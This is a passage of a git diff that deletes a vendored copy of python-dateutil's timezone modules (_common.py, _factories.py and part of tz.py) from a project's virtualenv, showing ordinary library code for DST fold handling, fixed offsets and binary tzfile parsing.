'fold'): - # This is the pre-python 3.6 fold situation - def enfold(dt, fold=1): - """ - Provides a unified interface for assigning the ``fold`` attribute to - datetimes both before and after the implementation of PEP-495. - - :param fold: - The value for the ``fold`` attribute in the returned datetime. This - should be either 0 or 1. - - :return: - Returns an object for which ``getattr(dt, 'fold', 0)`` returns - ``fold`` for all versions of Python. In versions prior to - Python 3.6, this is a ``_DatetimeWithFold`` object, which is a - subclass of :py:class:`datetime.datetime` with the ``fold`` - attribute added, if ``fold`` is 1. - - .. versionadded:: 2.6.0 - """ - return dt.replace(fold=fold) - -else: - class _DatetimeWithFold(datetime): - """ - This is a class designed to provide a PEP 495-compliant interface for - Python versions before 3.6. It is used only for dates in a fold, so - the ``fold`` attribute is fixed at ``1``. - - .. versionadded:: 2.6.0 - """ - __slots__ = () - - def replace(self, *args, **kwargs): - """ - Return a datetime with the same attributes, except for those - attributes given new values by whichever keyword arguments are - specified. Note that tzinfo=None can be specified to create a naive - datetime from an aware datetime with no conversion of date and time - data. - - This is reimplemented in ``_DatetimeWithFold`` because pypy3 will - return a ``datetime.datetime`` even if ``fold`` is unchanged. - """ - argnames = ( - 'year', 'month', 'day', 'hour', 'minute', 'second', - 'microsecond', 'tzinfo' - ) - - for arg, argname in zip(args, argnames): - if argname in kwargs: - raise TypeError('Duplicate argument: {}'.format(argname)) - - kwargs[argname] = arg - - for argname in argnames: - if argname not in kwargs: - kwargs[argname] = getattr(self, argname) - - dt_class = self.__class__ if kwargs.get('fold', 1) else datetime - - return dt_class(**kwargs) - - @property - def fold(self): - return 1 - - def enfold(dt, fold=1): - """ - Provides a unified interface for assigning the ``fold`` attribute to - datetimes both before and after the implementation of PEP-495. - - :param fold: - The value for the ``fold`` attribute in the returned datetime. This - should be either 0 or 1. - - :return: - Returns an object for which ``getattr(dt, 'fold', 0)`` returns - ``fold`` for all versions of Python. In versions prior to - Python 3.6, this is a ``_DatetimeWithFold`` object, which is a - subclass of :py:class:`datetime.datetime` with the ``fold`` - attribute added, if ``fold`` is 1. - - .. versionadded:: 2.6.0 - """ - if getattr(dt, 'fold', 0) == fold: - return dt - - args = dt.timetuple()[:6] - args += (dt.microsecond, dt.tzinfo) - - if fold: - return _DatetimeWithFold(*args) - else: - return datetime(*args) - - -def _validate_fromutc_inputs(f): - """ - The CPython version of ``fromutc`` checks that the input is a ``datetime`` - object and that ``self`` is attached as its ``tzinfo``. - """ - @wraps(f) - def fromutc(self, dt): - if not isinstance(dt, datetime): - raise TypeError("fromutc() requires a datetime argument") - if dt.tzinfo is not self: - raise ValueError("dt.tzinfo is not self") - - return f(self, dt) - - return fromutc - - -class _tzinfo(tzinfo): - """ - Base class for all ``dateutil`` ``tzinfo`` objects. - """ - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - - dt = dt.replace(tzinfo=self) - - wall_0 = enfold(dt, fold=0) - wall_1 = enfold(dt, fold=1) - - same_offset = wall_0.utcoffset() == wall_1.utcoffset() - same_dt = wall_0.replace(tzinfo=None) == wall_1.replace(tzinfo=None) - - return same_dt and not same_offset - - def _fold_status(self, dt_utc, dt_wall): - """ - Determine the fold status of a "wall" datetime, given a representation - of the same datetime as a (naive) UTC datetime. This is calculated based - on the assumption that ``dt.utcoffset() - dt.dst()`` is constant for all - datetimes, and that this offset is the actual number of hours separating - ``dt_utc`` and ``dt_wall``. - - :param dt_utc: - Representation of the datetime as UTC - - :param dt_wall: - Representation of the datetime as "wall time". This parameter must - either have a `fold` attribute or have a fold-naive - :class:`datetime.tzinfo` attached, otherwise the calculation may - fail. - """ - if self.is_ambiguous(dt_wall): - delta_wall = dt_wall - dt_utc - _fold = int(delta_wall == (dt_utc.utcoffset() - dt_utc.dst())) - else: - _fold = 0 - - return _fold - - def _fold(self, dt): - return getattr(dt, 'fold', 0) - - def _fromutc(self, dt): - """ - Given a timezone-aware datetime in a given timezone, calculates a - timezone-aware datetime in a new timezone. - - Since this is the one time that we *know* we have an unambiguous - datetime object, we take this opportunity to determine whether the - datetime is ambiguous and in a "fold" state (e.g. if it's the first - occurrence, chronologically, of the ambiguous datetime). - - :param dt: - A timezone-aware :class:`datetime.datetime` object. - """ - - # Re-implement the algorithm from Python's datetime.py - dtoff = dt.utcoffset() - if dtoff is None: - raise ValueError("fromutc() requires a non-None utcoffset() " - "result") - - # The original datetime.py code assumes that `dst()` defaults to - # zero during ambiguous times. PEP 495 inverts this presumption, so - # for pre-PEP 495 versions of python, we need to tweak the algorithm. - dtdst = dt.dst() - if dtdst is None: - raise ValueError("fromutc() requires a non-None dst() result") - delta = dtoff - dtdst - - dt += delta - # Set fold=1 so we can default to being in the fold for - # ambiguous dates. - dtdst = enfold(dt, fold=1).dst() - if dtdst is None: - raise ValueError("fromutc(): dt.dst gave inconsistent " - "results; cannot convert") - return dt + dtdst - - @_validate_fromutc_inputs - def fromutc(self, dt): - """ - Given a timezone-aware datetime in a given timezone, calculates a - timezone-aware datetime in a new timezone. - - Since this is the one time that we *know* we have an unambiguous - datetime object, we take this opportunity to determine whether the - datetime is ambiguous and in a "fold" state (e.g. if it's the first - occurrence, chronologically, of the ambiguous datetime). - - :param dt: - A timezone-aware :class:`datetime.datetime` object. - """ - dt_wall = self._fromutc(dt) - - # Calculate the fold status given the two datetimes. - _fold = self._fold_status(dt, dt_wall) - - # Set the default fold value for ambiguous dates - return enfold(dt_wall, fold=_fold) - - -class tzrangebase(_tzinfo): - """ - This is an abstract base class for time zones represented by an annual - transition into and out of DST. Child classes should implement the following - methods: - - * ``__init__(self, *args, **kwargs)`` - * ``transitions(self, year)`` - this is expected to return a tuple of - datetimes representing the DST on and off transitions in standard - time. - - A fully initialized ``tzrangebase`` subclass should also provide the - following attributes: - * ``hasdst``: Boolean whether or not the zone uses DST. - * ``_dst_offset`` / ``_std_offset``: :class:`datetime.timedelta` objects - representing the respective UTC offsets. - * ``_dst_abbr`` / ``_std_abbr``: Strings representing the timezone short - abbreviations in DST and STD, respectively. - * ``_hasdst``: Whether or not the zone has DST. - - .. versionadded:: 2.6.0 - """ - def __init__(self): - raise NotImplementedError('tzrangebase is an abstract base class') - - def utcoffset(self, dt): - isdst = self._isdst(dt) - - if isdst is None: - return None - elif isdst: - return self._dst_offset - else: - return self._std_offset - - def dst(self, dt): - isdst = self._isdst(dt) - - if isdst is None: - return None - elif isdst: - return self._dst_base_offset - else: - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - if self._isdst(dt): - return self._dst_abbr - else: - return self._std_abbr - - def fromutc(self, dt): - """ Given a datetime in UTC, return local time """ - if not isinstance(dt, datetime): - raise TypeError("fromutc() requires a datetime argument") - - if dt.tzinfo is not self: - raise ValueError("dt.tzinfo is not self") - - # Get transitions - if there are none, fixed offset - transitions = self.transitions(dt.year) - if transitions is None: - return dt + self.utcoffset(dt) - - # Get the transition times in UTC - dston, dstoff = transitions - - dston -= self._std_offset - dstoff -= self._std_offset - - utc_transitions = (dston, dstoff) - dt_utc = dt.replace(tzinfo=None) - - isdst = self._naive_isdst(dt_utc, utc_transitions) - - if isdst: - dt_wall = dt + self._dst_offset - else: - dt_wall = dt + self._std_offset - - _fold = int(not isdst and self.is_ambiguous(dt_wall)) - - return enfold(dt_wall, fold=_fold) - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - if not self.hasdst: - return False - - start, end = self.transitions(dt.year) - - dt = dt.replace(tzinfo=None) - return (end <= dt < end + self._dst_base_offset) - - def _isdst(self, dt): - if not self.hasdst: - return False - elif dt is None: - return None - - transitions = self.transitions(dt.year) - - if transitions is None: - return False - - dt = dt.replace(tzinfo=None) - - isdst = self._naive_isdst(dt, transitions) - - # Handle ambiguous dates - if not isdst and self.is_ambiguous(dt): - return not self._fold(dt) - else: - return isdst - - def _naive_isdst(self, dt, transitions): - dston, dstoff = transitions - - dt = dt.replace(tzinfo=None) - - if dston < dstoff: - isdst = dston <= dt < dstoff - else: - isdst = not dstoff <= dt < dston - - return isdst - - @property - def _dst_base_offset(self): - return self._dst_offset - self._std_offset - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s(...)" % self.__class__.__name__ - - __reduce__ = object.__reduce__ diff --git a/backend/venv/Lib/site-packages/dateutil/tz/_factories.py b/backend/venv/Lib/site-packages/dateutil/tz/_factories.py deleted file mode 100644 index f8a65891..00000000 --- a/backend/venv/Lib/site-packages/dateutil/tz/_factories.py +++ /dev/null @@ -1,80 +0,0 @@ -from datetime import timedelta -import weakref -from collections import OrderedDict - -from six.moves import _thread - - -class _TzSingleton(type): - def __init__(cls, *args, **kwargs): - cls.__instance = None - super(_TzSingleton, cls).__init__(*args, **kwargs) - - def __call__(cls): - if cls.__instance is None: - cls.__instance = super(_TzSingleton, cls).__call__() - return cls.__instance - - -class _TzFactory(type): - def instance(cls, *args, **kwargs): - """Alternate constructor that returns a fresh instance""" - return type.__call__(cls, *args, **kwargs) - - -class _TzOffsetFactory(_TzFactory): - def __init__(cls, *args, **kwargs): - cls.__instances = weakref.WeakValueDictionary() - cls.__strong_cache = OrderedDict() - cls.__strong_cache_size = 8 - - cls._cache_lock = _thread.allocate_lock() - - def __call__(cls, name, offset): - if isinstance(offset, timedelta): - key = (name, offset.total_seconds()) - else: - key = (name, offset) - - instance = cls.__instances.get(key, None) - if instance is None: - instance = cls.__instances.setdefault(key, - cls.instance(name, offset)) - - # This lock may not be necessary in Python 3. See GH issue #901 - with cls._cache_lock: - cls.__strong_cache[key] = cls.__strong_cache.pop(key, instance) - - # Remove an item if the strong cache is overpopulated - if len(cls.__strong_cache) > cls.__strong_cache_size: - cls.__strong_cache.popitem(last=False) - - return instance - - -class _TzStrFactory(_TzFactory): - def __init__(cls, *args, **kwargs): - cls.__instances = weakref.WeakValueDictionary() - cls.__strong_cache = OrderedDict() - cls.__strong_cache_size = 8 - - cls.__cache_lock = _thread.allocate_lock() - - def __call__(cls, s, posix_offset=False): - key = (s, posix_offset) - instance = cls.__instances.get(key, None) - - if instance is None: - instance = cls.__instances.setdefault(key, - cls.instance(s, posix_offset)) - - # This lock may not be necessary in Python 3. See GH issue #901 - with cls.__cache_lock: - cls.__strong_cache[key] = cls.__strong_cache.pop(key, instance) - - # Remove an item if the strong cache is overpopulated - if len(cls.__strong_cache) > cls.__strong_cache_size: - cls.__strong_cache.popitem(last=False) - - return instance - diff --git a/backend/venv/Lib/site-packages/dateutil/tz/tz.py b/backend/venv/Lib/site-packages/dateutil/tz/tz.py deleted file mode 100644 index 61759144..00000000 --- a/backend/venv/Lib/site-packages/dateutil/tz/tz.py +++ /dev/null @@ -1,1849 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers timezone implementations subclassing the abstract -:py:class:`datetime.tzinfo` type. There are classes to handle tzfile format -files (usually are in :file:`/etc/localtime`, :file:`/usr/share/zoneinfo`, -etc), TZ environment string (in all known formats), given ranges (with help -from relative deltas), local machine timezone, fixed offset timezone, and UTC -timezone. -""" -import datetime -import struct -import time -import sys -import os -import bisect -import weakref -from collections import OrderedDict - -import six -from six import string_types -from six.moves import _thread -from ._common import tzname_in_python2, _tzinfo -from ._common import tzrangebase, enfold -from ._common import _validate_fromutc_inputs - -from ._factories import _TzSingleton, _TzOffsetFactory -from ._factories import _TzStrFactory -try: - from .win import tzwin, tzwinlocal -except ImportError: - tzwin = tzwinlocal = None - -# For warning about rounding tzinfo -from warnings import warn - -ZERO = datetime.timedelta(0) -EPOCH = datetime.datetime(1970, 1, 1, 0, 0) -EPOCHORDINAL = EPOCH.toordinal() - - -@six.add_metaclass(_TzSingleton) -class tzutc(datetime.tzinfo): - """ - This is a tzinfo object that represents the UTC time zone. - - **Examples:** - - .. doctest:: - - >>> from datetime import * - >>> from dateutil.tz import * - - >>> datetime.now() - datetime.datetime(2003, 9, 27, 9, 40, 1, 521290) - - >>> datetime.now(tzutc()) - datetime.datetime(2003, 9, 27, 12, 40, 12, 156379, tzinfo=tzutc()) - - >>> datetime.now(tzutc()).tzname() - 'UTC' - - .. versionchanged:: 2.7.0 - ``tzutc()`` is now a singleton, so the result of ``tzutc()`` will - always return the same object. - - .. doctest:: - - >>> from dateutil.tz import tzutc, UTC - >>> tzutc() is tzutc() - True - >>> tzutc() is UTC - True - """ - def utcoffset(self, dt): - return ZERO - - def dst(self, dt): - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return "UTC" - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - return False - - @_validate_fromutc_inputs - def fromutc(self, dt): - """ - Fast track version of fromutc() returns the original ``dt`` object for - any valid :py:class:`datetime.datetime` object. - """ - return dt - - def __eq__(self, other): - if not isinstance(other, (tzutc, tzoffset)): - return NotImplemented - - return (isinstance(other, tzutc) or - (isinstance(other, tzoffset) and other._offset == ZERO)) - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s()" % self.__class__.__name__ - - __reduce__ = object.__reduce__ - - -#: Convenience constant providing a :class:`tzutc()` instance -#: -#: .. versionadded:: 2.7.0 -UTC = tzutc() - - -@six.add_metaclass(_TzOffsetFactory) -class tzoffset(datetime.tzinfo): - """ - A simple class for representing a fixed offset from UTC. - - :param name: - The timezone name, to be returned when ``tzname()`` is called. - :param offset: - The time zone offset in seconds, or (since version 2.6.0, represented - as a :py:class:`datetime.timedelta` object). - """ - def __init__(self, name, offset): - self._name = name - - try: - # Allow a timedelta - offset = offset.total_seconds() - except (TypeError, AttributeError): - pass - - self._offset = datetime.timedelta(seconds=_get_supported_offset(offset)) - - def utcoffset(self, dt): - return self._offset - - def dst(self, dt): - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return self._name - - @_validate_fromutc_inputs - def fromutc(self, dt): - return dt + self._offset - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - return False - - def __eq__(self, other): - if not isinstance(other, tzoffset): - return NotImplemented - - return self._offset == other._offset - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s(%s, %s)" % (self.__class__.__name__, - repr(self._name), - int(self._offset.total_seconds())) - - __reduce__ = object.__reduce__ - - -class tzlocal(_tzinfo): - """ - A :class:`tzinfo` subclass built around the ``time`` timezone functions. - """ - def __init__(self): - super(tzlocal, self).__init__() - - self._std_offset = datetime.timedelta(seconds=-time.timezone) - if time.daylight: - self._dst_offset = datetime.timedelta(seconds=-time.altzone) - else: - self._dst_offset = self._std_offset - - self._dst_saved = self._dst_offset - self._std_offset - self._hasdst = bool(self._dst_saved) - self._tznames = tuple(time.tzname) - - def utcoffset(self, dt): - if dt is None and self._hasdst: - return None - - if self._isdst(dt): - return self._dst_offset - else: - return self._std_offset - - def dst(self, dt): - if dt is None and self._hasdst: - return None - - if self._isdst(dt): - return self._dst_offset - self._std_offset - else: - return ZERO - - @tzname_in_python2 - def tzname(self, dt): - return self._tznames[self._isdst(dt)] - - def is_ambiguous(self, dt): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - naive_dst = self._naive_is_dst(dt) - return (not naive_dst and - (naive_dst != self._naive_is_dst(dt - self._dst_saved))) - - def _naive_is_dst(self, dt): - timestamp = _datetime_to_timestamp(dt) - return time.localtime(timestamp + time.timezone).tm_isdst - - def _isdst(self, dt, fold_naive=True): - # We can't use mktime here. It is unstable when deciding if - # the hour near to a change is DST or not. - # - # timestamp = time.mktime((dt.year, dt.month, dt.day, dt.hour, - # dt.minute, dt.second, dt.weekday(), 0, -1)) - # return time.localtime(timestamp).tm_isdst - # - # The code above yields the following result: - # - # >>> import tz, datetime - # >>> t = tz.tzlocal() - # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname() - # 'BRDT' - # >>> datetime.datetime(2003,2,16,0,tzinfo=t).tzname() - # 'BRST' - # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname() - # 'BRST' - # >>> datetime.datetime(2003,2,15,22,tzinfo=t).tzname() - # 'BRDT' - # >>> datetime.datetime(2003,2,15,23,tzinfo=t).tzname() - # 'BRDT' - # - # Here is a more stable implementation: - # - if not self._hasdst: - return False - - # Check for ambiguous times: - dstval = self._naive_is_dst(dt) - fold = getattr(dt, 'fold', None) - - if self.is_ambiguous(dt): - if fold is not None: - return not self._fold(dt) - else: - return True - - return dstval - - def __eq__(self, other): - if isinstance(other, tzlocal): - return (self._std_offset == other._std_offset and - self._dst_offset == other._dst_offset) - elif isinstance(other, tzutc): - return (not self._hasdst and - self._tznames[0] in {'UTC', 'GMT'} and - self._std_offset == ZERO) - elif isinstance(other, tzoffset): - return (not self._hasdst and - self._tznames[0] == other._name and - self._std_offset == other._offset) - else: - return NotImplemented - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __repr__(self): - return "%s()" % self.__class__.__name__ - - __reduce__ = object.__reduce__ - - -class _ttinfo(object): - __slots__ = ["offset", "delta", "isdst", "abbr", - "isstd", "isgmt", "dstoffset"] - - def __init__(self): - for attr in self.__slots__: - setattr(self, attr, None) - - def __repr__(self): - l = [] - for attr in self.__slots__: - value = getattr(self, attr) - if value is not None: - l.append("%s=%s" % (attr, repr(value))) - return "%s(%s)" % (self.__class__.__name__, ", ".join(l)) - - def __eq__(self, other): - if not isinstance(other, _ttinfo): - return NotImplemented - - return (self.offset == other.offset and - self.delta == other.delta and - self.isdst == other.isdst and - self.abbr == other.abbr and - self.isstd == other.isstd and - self.isgmt == other.isgmt and - self.dstoffset == other.dstoffset) - - __hash__ = None - - def __ne__(self, other): - return not (self == other) - - def __getstate__(self): - state = {} - for name in self.__slots__: - state[name] = getattr(self, name, None) - return state - - def __setstate__(self, state): - for name in self.__slots__: - if name in state: - setattr(self, name, state[name]) - - -class _tzfile(object): - """ - Lightweight class for holding the relevant transition and time zone - information read from binary tzfiles. - """ - attrs = ['trans_list', 'trans_list_utc', 'trans_idx', 'ttinfo_list', - 'ttinfo_std', 'ttinfo_dst', 'ttinfo_before', 'ttinfo_first'] - - def __init__(self, **kwargs): - for attr in self.attrs: - setattr(self, attr, kwargs.get(attr, None)) - - -class tzfile(_tzinfo): - """ - This is a ``tzinfo`` subclass that allows one to use the ``tzfile(5)`` - format timezone files to extract current and historical zone information. - - :param fileobj: - This can be an opened file stream or a file name that the time zone - information can be read from. - - :param filename: - This is an optional parameter specifying the source of the time zone - information in the event that ``fileobj`` is a file object. If omitted - and ``fileobj`` is a file stream, this parameter will be set either to - ``fileobj``'s ``name`` attribute or to ``repr(fileobj)``. - - See `Sources for Time Zone and Daylight Saving Time Data - `_ for more information. - Time zone files can be compiled from the `IANA Time Zone database files - `_ with the `zic time zone compiler - `_ - - .. note:: - - Only construct a ``tzfile`` directly if you have a specific timezone - file on disk that you want to read into a Python ``tzinfo`` object. - If you want to get a ``tzfile`` representing a specific IANA zone, - (e.g. ``'America/New_York'``), you should call - :func:`dateutil.tz.gettz` with the zone identifier. - - - **Examples:** - - Using the US Eastern time zone as an example, we can see that a ``tzfile`` - provides time zone information for the standard Daylight Saving offsets: - - .. testsetup:: tzfile - - from dateutil.tz import gettz - from datetime import datetime - - .. doctest:: tzfile - - >>> NYC = gettz('America/New_York') - >>> NYC - tzfile('/usr/share/zoneinfo/America/New_York') - - >>> print(datetime(2016, 1, 3, tzinfo=NYC)) # EST - 2016-01-03 00:00:00-05:00 - - >>> print(datetime(2016, 7, 7, tzinfo=NYC)) # EDT - 2016-07-07 00:00:00-04:00 - - - The ``tzfile`` structure contains a fully history of the time zone, - so historical dates will also have the right offsets. For example, before - the adoption of the UTC standards, New York used local solar mean time: - - .. doctest:: tzfile - - >>> print(datetime(1901, 4, 12, tzinfo=NYC)) # LMT - 1901-04-12 00:00:00-04:56 - - And during World War II, New York was on "Eastern War Time", which was a - state of permanent daylight saving time: - - .. doctest:: tzfile - - >>> print(datetime(1944, 2, 7, tzinfo=NYC)) # EWT - 1944-02-07 00:00:00-04:00 - - """ - - def __init__(self, fileobj, filename=None): - super(tzfile, self).__init__() - - file_opened_here = False - if isinstance(fileobj, string_types): - self._filename = fileobj - fileobj = open(fileobj, 'rb') - file_opened_here = True - elif filename is not None: - self._filename = filename - elif hasattr(fileobj, "name"): - self._filename = fileobj.name - else: - self._filename = repr(fileobj) - - if fileobj is not None: - if not file_opened_here: - fileobj = _nullcontext(fileobj) - - with fileobj as file_stream: - tzobj = self._read_tzfile(file_stream) - - self._set_tzdata(tzobj) - - def _set_tzdata(self, tzobj): - """ Set the time zone data of this object from a _tzfile object """ - # Copy the relevant attributes over as private attributes - for attr in _tzfile.attrs: - setattr(self, '_' + attr, getattr(tzobj, attr)) - - def _read_tzfile(self, fileobj): - out = _tzfile() - - # From tzfile(5): - # - # The time zone information files used by tzset(3) - # begin with the magic characters "TZif" to identify - # them as time zone information files, followed by - # sixteen bytes reserved for future use, followed by - # six four-byte values of type long, written in a - # ``standard'' byte order (the high-order byte - # of the value is written first). - if fileobj.read(4).decode() != "TZif": - raise ValueError("magic not found") - - fileobj.read(16) - - ( - # The number of UTC/local indicators stored in the file. - ttisgmtcnt, - - # The number of standard/wall indicators stored in the file. - ttisstdcnt, - - # The number of leap seconds for which data is - # stored in the file. - leapcnt, - - # The number of "transition times" for which data - # is stored in the file. - timecnt, - - # The number of "local time types" for which data - # is stored in the file (must not be zero). - typecnt, - - # The number of characters of "time zone - # abbreviation strings" stored in the file. - charcnt, - - ) = struct.unpack(">6l", fileobj.read(24)) - - # The above header is followed by tzh_timecnt four-byte - # values of type long, sorted in ascending order. - # These values are written in ``standard'' byte order. - # Each is used as a transition time (as returned by - # time(2)) at which the rules for computing local time - # change. - - if timecnt: - out.trans_list_utc = list(struct.unpack(">%dl" % timecnt, - fileobj.read(timecnt*4))) - else: - out.trans_list_utc = [] - - # Next come tzh_timecnt one-byte values of type unsigned - # char; each one tells which of the different types of - # ``local time'' types described in the file is associated - # with the same-indexed transition time. These values - # serve as indices into an array of ttinfo structures that - # appears next in the file. - - if timecnt: - out.trans_idx = struct.unpack(">%dB" % timecnt, - fileobj.read(timecnt)) - else: - out.trans_idx = [] - - # Each ttinfo structure is written as a four-byte value - # for tt_gmtoff of type long, in a standard byte - # order, followed by a one-byte value for tt_isdst - # and a one-byte value for tt_abbrind. In each - # structure, tt_gmtoff gives the number of - # seconds to be added to UTC, tt_isdst tells whether - # tm_isdst should be set by localtime(3), and - # tt_abbrind serves as an index into the array of - # time zone abbreviation characters that follow the - # ttinfo structure(s) in the file. - - ttinfo = [] - - for i in range(typecnt): - ttinfo.append(struct.unpack(">lbb", fileobj.read(6))) - - abbr = fileobj.read(charcnt).decode() - - # Then there are tzh_leapcnt pairs of four-byte - # values, written in standard byte order; the - # first value of each pair gives the time (as - # returned by time(2)) at which a leap second - # occurs; the second gives the total number of - # leap seconds to be applied after the given time. - # The pairs of values are sorted in ascending order - # by time. - - # Not used, for now (but seek for correct file position) - if leapcnt: - fileobj.seek(leapcnt * 8, os.SEEK_CUR) - - # Then there are tzh_ttisstdcnt standard/wall - # indicators, each stored as a one-byte value; - # they tell whether the transition times associated - # with local time types were specified as standard - # time or wall clock time, and are used when - # a time zone file is used in handling POSIX-style - # time zone environment variables. - - if ttisstdcnt: - isstd = struct.unpack(">%db" % ttisstdcnt, - fileobj.read(ttisstdcnt)) - - # Finally, there are tzh_ttisgmtcnt UTC/local - # indicators, each stored as a one-byte value; - # they tell whether the transition times associated - # with local time types were specified as UTC or - # local time, and are used when a time zone file - # is used in handling POSIX-style time zone envi- - # ronment variables. - - if ttisgmtcnt: - isgmt = struct.unpack(">%db" % ttisgmtcnt, - fileobj.read(ttisgmtcnt)) - - # Build ttinfo list - out.ttinfo_list = [] - for i in range(typecnt): - gmtoff, isdst, abbrind = ttinfo[i] - gmtoff = _get_supported_offset(gmtoff) - tti = _ttinfo() - tti.offset = gmtoff - tti.dstoffset = datetime.timedelta(0) - tti.delta = datetime.timedelta(seconds=gmtoff) - tti.isdst = isdst - tti.abbr = abbr[abbrind:abbr.find('\x00', abbrind)] - tti.isstd = (ttisstdcnt > i and isstd[i] != 0) - tti.isgmt = (ttisgmtcnt > i and isgmt[i] != 0) - out.ttinfo_list.append(tti) - - # Replace ttinfo indexes for ttinfo objects. - out.trans_idx = [out.ttinfo_list[idx] for idx in out.trans_idx] - - # Set standard, dst, and before ttinfos. before will be - # used when a given time is before any transitions, - # and will be set to the first non-dst ttinfo, or to - # the first dst, if all of them are dst. - out.ttinfo_std = None - out.ttinfo_dst = None - out.ttinfo_before = None - if out.ttinfo_list: - if not out.trans_list_utc: - out.ttinfo_std = out.ttinfo_first = out.ttinfo_list[0] - else: - for i in range(timecnt-1, -1, -1): - tti = out.trans_idx[i] - if not out.ttinfo_std and not tti.isdst: - out.ttinfo_std = tti - elif not out.ttinfo_dst and tti.isdst: - out.ttinfo_dst = tti - - if out.ttinfo_std and out.ttinfo_dst: - break - else: - if out.ttinfo_dst and not out.ttinfo_std: - out.ttinfo_std = out.ttinfo_dst - - for tti in out.ttinfo_list: - if not tti.isdst: - out.ttinfo_before = tti - break - else: - out.ttinfo_before = out.ttinfo_list[0] - - # Now fix transition times to become relative to wall time. - # - # I'm not sure about this. In my tests, the tz source file - # is setup to wall time, and in the binary file isstd and - # isgmt are off, so it should be in wall time. OTOH, it's - # always in gmt time. Let me know if you have comments - # about this. - lastdst = None - lastoffset = None - lastdstoffset = None - lastbaseoffset = None - out.trans_list = [] - - for i, tti in enumerate(out.trans_idx): - offset = tti.offset - dstoffset = 0 - - if lastdst is not None: - if tti.isdst: - if not lastdst: - dstoffset = offset - lastoffset - - if not dstoffset and lastdstoffset: - dstoffset = lastdstoffset - - tti.dstoffset = datetime.timedelta(seconds=dstoffset) - lastdstoffset = dstoffset - - # If a time zone changes its base offset during a DST transition, - # then you need to adjust by the previous base offset to get the - # transition time in local time. Otherwise you use the current - # base offset. Ideally, I would have some mathematical proof of - # why this is true, but I haven't really thought about it enough. - baseoffset = offset - dstoffset - adjustment = baseoffset - if (lastbaseoffset is not None and baseoffset != lastbaseoffset - and tti.isdst != lastdst): - # The base DST has changed - adjustment = lastbaseoffset - - lastdst = tti.isdst - lastoffset = offset - lastbaseoffset = baseoffset - - out.trans_list.append(out.trans_list_utc[i] + adjustment) - - out.trans_idx = tuple(out.trans_idx) - out.trans_list = tuple(out.trans_list) - out.trans_list_utc = tuple(out.trans_list_utc) - - return out - - def _find_last_transition(self, dt, in_utc=False): - # If there's no list, there are no transitions to find - if not self._trans_list: - return None - - timestamp = _datetime_to_timestamp(dt) - - # Find where the timestamp fits in the transition list - if the - # timestamp is a transition time, it's part of the "after" period. - trans_list = self._trans_list_utc if in_utc else self._trans_list - idx = bisect.bisect_right(trans_list, timestamp) - - # We want to know when the previous transition was, so subtract off 1 - return idx - 1 - - def _get_ttinfo(self, idx): - # For no list or after the last transition, default to _ttinfo_std - if idx is None or (idx + 1) >= len(self._trans_list): - return self._ttinfo_std - - # If there is a list and the time is before it, return _ttinfo_before - if idx < 0: - return self._ttinfo_before - - return self._trans_idx[idx] - - def _find_ttinfo(self, dt): - idx = self._resolve_ambiguous_time(dt) - - return self._get_ttinfo(idx) - - def fromutc(self, dt): - """ - The ``tzfile`` implementation of :py:func:`datetime.tzinfo.fromutc`. - - :param dt: - A :py:class:`datetime.datetime` object. - - :raises TypeError: - Raised if ``dt`` is not a :py:class:`datetime.datetime` object. - - :raises ValueError: - Raised if this is called with a ``dt`` which does not have this - ``tzinfo`` attached. - - :return: - Returns a :py:class:`datetime.datetime` object representing the - wall time in ``self``'s time zone. - """ - # These isinstance checks are in datetime.tzinfo, so we'll preserve - # them, even if we don't care about duck typing. - if not isinstance(dt, datetime.datetime): - raise TypeError("fromutc() requires a datetime argument") - - if dt.tzinfo is not self: - raise ValueError("dt.tzinfo is not self") - - # First treat UTC as wall time and get the transition we're in. - idx = self._find_last_transition(dt, in_utc=True) - tti = self._get_ttinfo(idx) - - dt_out = dt + datetime.timedelta(seconds=tti.offset) - - fold = self.is_ambiguous(dt_out, idx=idx) - - return enfold(dt_out, fold=int(fold)) - - def is_ambiguous(self, dt, idx=None): - """ - Whether or not the "wall time" of a given datetime is ambiguous in this - zone. - - :param dt: - A :py:class:`datetime.datetime`, naive or time zone aware. - - - :return: - Returns ``True`` if ambiguous, ``False`` otherwise. - - .. versionadded:: 2.6.0 - """ - if idx is None: - idx = self._find_last_transition(dt) - - # Calculate the difference in offsets from current to previous - timestamp = _datetime_to_timestamp(dt) - tti = self._get_ttinfo(idx) - - if idx is None or idx <= 0: - return False - - od = self._get_ttinfo(idx - 1).offset - tti.offset - tt = self._trans_list[idx] # Transition time - - return timestamp < tt + od - - def _resolve_ambiguous_time(self, dt): - idx = self._find_last_transition(dt) - - # If we have no transitions, return the index - _fold = self._fold(dt) - if idx is None or idx == 0: - return idx - - # If it's ambiguous and we're in a fold, shift to a different index. - idx_offset = int(not _fold and 